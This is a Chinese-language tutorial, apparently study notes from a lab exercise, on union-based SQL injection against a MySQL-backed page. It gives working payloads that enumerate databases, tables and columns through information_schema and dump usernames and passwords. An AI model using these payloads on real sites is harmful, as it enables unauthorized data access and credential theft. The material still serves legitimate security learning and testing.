1、寻找注入点(也是以网上一个例子学习) 输入id=1 正常;输入id=1' 报错,说明存在sql注入漏洞。 尝试在URL后添加id=1'回车,页面报SQL语法错误。 根据报错信息,猜想输入参数的值被放到一对单引号之间。 猜测后台源码中存在类似于如下的数据库查询语句 - SELECT * FROM users WHERE id='$id' LIMIT 0,1
复制代码 2、使用order by 1-99查询该数据表中的字段数量
输入id=1' order by 3 --+ 正常; 输入id=1' order by 4 --+ 报错,说明该数据表中字段数为3。 原理:select * from table order by n 表示查询结果按照select里面的第n个字段排序,如果表中只有3个字段,则我们order by 4查询时,因为没有第4个字段,所以报错。 在数据库中查询参数ID对应的内容,然后将数据库的内容输出到页面。由于是将数据输出到页面上的,所以可以使用union注入,且通过order by查询结果,得到的字段数为3,所以union注入的语句如下:id=1' union select 1,2,3 --+ 页面成功执行,但没有返回union select的结果,这是由于代码只返回第一条结果,所以union select获取的结果没有输出到页面。 可以通过设置参数ID值,让服务端返回union select的结果,例如把ID的值设置为-1(输入?id=-1' union select 1,2,3 --+),这样数据库中没有id=-1的数据,所以会返回union select的结果 返回的结果为2,3,意味着在union select 1,2,3中,2和3位置可以输入mysql语句。我们尝试在2的位置查询当前数据库名(使用database()函数),构造Payload如下 - ?id=-1' union select 1,database(),3 --+
复制代码页面成功返回了数据库信息,得到数据库库名为security 4、爆数据表 得知了数据库库名,接下来输入以下payload查询表名。 - ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
复制代码 (这里我发现我对这些不怎么熟悉,下面整理了一下相关内容)
5、爆数据列(字段) 现在,已知库名和表名,开始查询字段名,这里以users表名为例,构造payload如下。 - ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
-
复制代码6、爆数据值 payload -
- ?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
复制代码知识点: (1)在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。 - SCHEMATA表存储该用户创建的所有数据库的库名,我们需要记住该表中记录数据库库名的字段名为SCHEMA_NAME。
- TABLES表存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。
- COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,我们需要记住该表中记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。
(2)需要记住的几个函数: - database():当前网站使用的数据库。
- version():当前mysql的版本。
- user():当前mysql的用户。
(3)group_concat函数是典型的字符串连接函数。group_concat(table_name)表示把table_name字段的值打印在一行,逗号分隔(默认)。 (4)0x3a是:16进制的分隔符,比如在爆数据值时,(username,0x3a,password)表示(username:password)。 (5)--+中,“--”是SQL查询语句中的注释符,“+”在URL中表示空格。
information_schema.columns包含所有表的字段 字段 table_schema 数据库名 table_name 表名 column_name 列名 information_schema.tables包含所有库的表名 字段 table_schema 数据库名 table_name 表名 information_schema.schemata包含所有数据库的名 字段 schema_name 数据库名 2.有回显的SQL注入: 执行SQL查询,其结果能回显到页面中,那么可直接进行有回显的SQL注入 查询语句 $id=$_GET['id']; SELECT * FROM test WHERE id='$id' LIMIT 0,1; 判断字段数 ?id=1' ORDER BY 3--+ 判断显示位 ?id=-1' UNION SELECT 1,2,3--+ 利用函数获得信息 ?id=-1 UNION SELECT 1,(version()),3--+ 爆库 ?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT来定位查询,一个一个爆数据库 ?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+ //用group_concat()实现一个显示位爆出该字段下所有记录 爆表 ?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+ 爆字段 ?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+ 爆数据 ?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+ ---------------------
|